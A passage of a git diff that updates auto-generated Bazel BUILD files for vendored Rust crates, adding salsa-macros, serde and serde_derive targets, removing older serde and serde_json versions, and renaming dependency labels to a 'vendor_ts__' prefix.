+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.19.0",
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.salsa-macros-0.19.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.salsa-macros-0.19.0.bazel
new file mode 100644
index 000000000000..20b30ab306b2
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.salsa-macros-0.19.0.bazel
@@ -0,0 +1,90 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_proc_macro")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_proc_macro(
+    name = "salsa_macros",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=salsa-macros",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.19.0",
+    deps = [
+        "@vendor_ts__heck-0.5.0//:heck",
+        "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__syn-2.0.100//:syn",
+        "@vendor_ts__synstructure-0.13.1//:synstructure",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.same-file-1.0.6.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.same-file-1.0.6.bazel
index 416211ad6a0f..823e6471df3b 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.same-file-1.0.6.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.same-file-1.0.6.bazel
@@ -82,13 +82,13 @@ rust_library(
     version = "1.0.6",
     deps = select({
         "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
-            "@vendor__winapi-util-0.1.9//:winapi_util",  # cfg(windows)
+            "@vendor_ts__winapi-util-0.1.9//:winapi_util",  # cfg(windows)
         ],
         "@rules_rust//rust/platform:i686-pc-windows-msvc": [
-            "@vendor__winapi-util-0.1.9//:winapi_util",  # cfg(windows)
+            "@vendor_ts__winapi-util-0.1.9//:winapi_util",  # cfg(windows)
         ],
         "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
-            "@vendor__winapi-util-0.1.9//:winapi_util",  # cfg(windows)
+            "@vendor_ts__winapi-util-0.1.9//:winapi_util",  # cfg(windows)
         ],
         "//conditions:default": [],
     }),
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.semver-1.0.24.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.semver-1.0.24.bazel
index 2ebe5dba7841..004fe29bbd7b 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.semver-1.0.24.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.semver-1.0.24.bazel
@@ -87,8 +87,8 @@ rust_library(
     }),
     version = "1.0.24",
     deps = [
-        "@vendor__semver-1.0.24//:build_script_build",
-        "@vendor__serde-1.0.217//:serde",
+        "@vendor_ts__semver-1.0.24//:build_script_build",
+        "@vendor_ts__serde-1.0.219//:serde",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde-1.0.217.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde-1.0.217.bazel
deleted file mode 100644
index d11c7ab0b963..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde-1.0.217.bazel
+++ /dev/null
@@ -1,159 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//cargo:defs.bzl", "cargo_build_script")
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "serde",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "alloc",
-        "default",
-        "derive",
-        "serde_derive",
-        "std",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2018",
-    proc_macro_deps = [
-        "@vendor__serde_derive-1.0.217//:serde_derive",
-    ],
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=serde",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "1.0.217",
-    deps = [
-        "@vendor__serde-1.0.217//:build_script_build",
-    ],
-)
-
-cargo_build_script(
-    name = "_bs",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            "**/*.rs",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "alloc",
-        "default",
-        "derive",
-        "serde_derive",
-        "std",
-    ],
-    crate_name = "build_script_build",
-    crate_root = "build.rs",
-    data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    edition = "2018",
-    pkg_name = "serde",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=serde",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    version = "1.0.217",
-    visibility = ["//visibility:private"],
-)
-
-alias(
-    name = "build_script_build",
-    actual = ":_bs",
-    tags = ["manual"],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde-1.0.219.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde-1.0.219.bazel
new file mode 100644
index 000000000000..7ba89e09bb7d
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde-1.0.219.bazel
@@ -0,0 +1,159 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//cargo:defs.bzl", "cargo_build_script")
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "serde",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "alloc",
+        "default",
+        "derive",
+        "serde_derive",
+        "std",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2018",
+    proc_macro_deps = [
+        "@vendor_ts__serde_derive-1.0.219//:serde_derive",
+    ],
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=serde",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "1.0.219",
+    deps = [
+        "@vendor_ts__serde-1.0.219//:build_script_build",
+    ],
+)
+
+cargo_build_script(
+    name = "_bs",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            "**/*.rs",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "alloc",
+        "default",
+        "derive",
+        "serde_derive",
+        "std",
+    ],
+    crate_name = "build_script_build",
+    crate_root = "build.rs",
+    data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    edition = "2018",
+    pkg_name = "serde",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=serde",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    version = "1.0.219",
+    visibility = ["//visibility:private"],
+)
+
+alias(
+    name = "build_script_build",
+    actual = ":_bs",
+    tags = ["manual"],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_derive-1.0.217.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_derive-1.0.217.bazel
deleted file mode 100644
index 5e70c8e29a67..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_derive-1.0.217.bazel
+++ /dev/null
@@ -1,91 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_proc_macro")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_proc_macro(
-    name = "serde_derive",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "default",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2015",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=serde_derive",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "1.0.217",
-    deps = [
-        "@vendor__proc-macro2-1.0.93//:proc_macro2",
-        "@vendor__quote-1.0.38//:quote",
-        "@vendor__syn-2.0.96//:syn",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_derive-1.0.219.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_derive-1.0.219.bazel
new file mode 100644
index 000000000000..6d385b05daab
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_derive-1.0.219.bazel
@@ -0,0 +1,91 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_proc_macro")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_proc_macro(
+    name = "serde_derive",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "default",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2015",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=serde_derive",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "1.0.219",
+    deps = [
+        "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__syn-2.0.100//:syn",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_json-1.0.135.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_json-1.0.135.bazel
deleted file mode 100644
index 8acb6187cdd9..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_json-1.0.135.bazel
+++ /dev/null
@@ -1,156 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//cargo:defs.bzl", "cargo_build_script")
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "serde_json",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "default",
-        "std",
-        "unbounded_depth",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=serde_json",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "1.0.135",
-    deps = [
-        "@vendor__itoa-1.0.14//:itoa",
-        "@vendor__memchr-2.7.4//:memchr",
-        "@vendor__ryu-1.0.18//:ryu",
-        "@vendor__serde-1.0.217//:serde",
-        "@vendor__serde_json-1.0.135//:build_script_build",
-    ],
-)
-
-cargo_build_script(
-    name = "_bs",
-    srcs = glob(
